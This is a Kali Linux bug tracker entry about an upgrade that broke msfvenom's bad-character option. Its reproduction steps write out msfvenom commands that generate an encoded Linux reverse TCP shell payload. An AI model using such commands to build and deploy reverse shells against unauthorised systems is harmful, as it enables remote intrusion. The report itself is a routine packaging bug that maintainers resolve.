2018-09-20 04:25 UTC

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IDProjectCategoryView StatusLast Update
0004690Kali Linux[All Projects] Kali Package Bugpublic2018-04-12 10:48
Assigned Tosbrun 
Product Version2018.1 
Target VersionFixed in Version 
Summary0004690: Latest upgrade of Kali breaks msfvenom's support for bad characters
Linux kali 4.15.0-kali2-686 0000001 SMP Debian 4.15.11-1kali1 (2018-03-21) i686 GNU/Linux

Last dist-upgrade:
9th April 2018

Error message:
/usr/share/metasploit-framework/lib/msf/core/payload/uuid.rb:356:in `to_uri': undefined method `encode_base64url' for Rex::Text:Module (NoMethodError)
Steps To Reproduce
msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

Works fine:
msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f c -e x86/shikata_ga_nai
Attached Files




alexander (reporter)



g0tmi1k (administrator)

"Addressed in https://github.com/rapid7/metasploit-framework/issues/8200/ / https://github.com/rapid7/metasploit-framework/issues/8210, there are also workarounds there until Kali picks it up."

..Not sure what Kali is meant to pick up?


rhertzog (administrator)

Kali will pick up the fix when it packages the next release. Usually at the end the week.


alexander (reporter)

Seems fixed now with an apt-get upgrade.

Thank you :D!


g0tmi1k (administrator)

4.16.49 is out ~ http://git.kali.org/gitweb/?p=packages/metasploit-framework.git;a=log;h=refs/heads/kali/master

-Issue History
Date Modified Username Field Change
2018-04-09 20:33 alexander New Issue
2018-04-09 20:35 alexander Note Added: 0009013
2018-04-10 11:25 g0tmi1k Note Added: 0009016
2018-04-10 20:01 rhertzog Note Added: 0009024
2018-04-12 09:46 alexander Note Added: 0009032
2018-04-12 10:48 g0tmi1k Assigned To => sbrun
2018-04-12 10:48 g0tmi1k Status new => resolved
2018-04-12 10:48 g0tmi1k Resolution open => fixed
2018-04-12 10:48 g0tmi1k Note Added: 0009033
+Issue History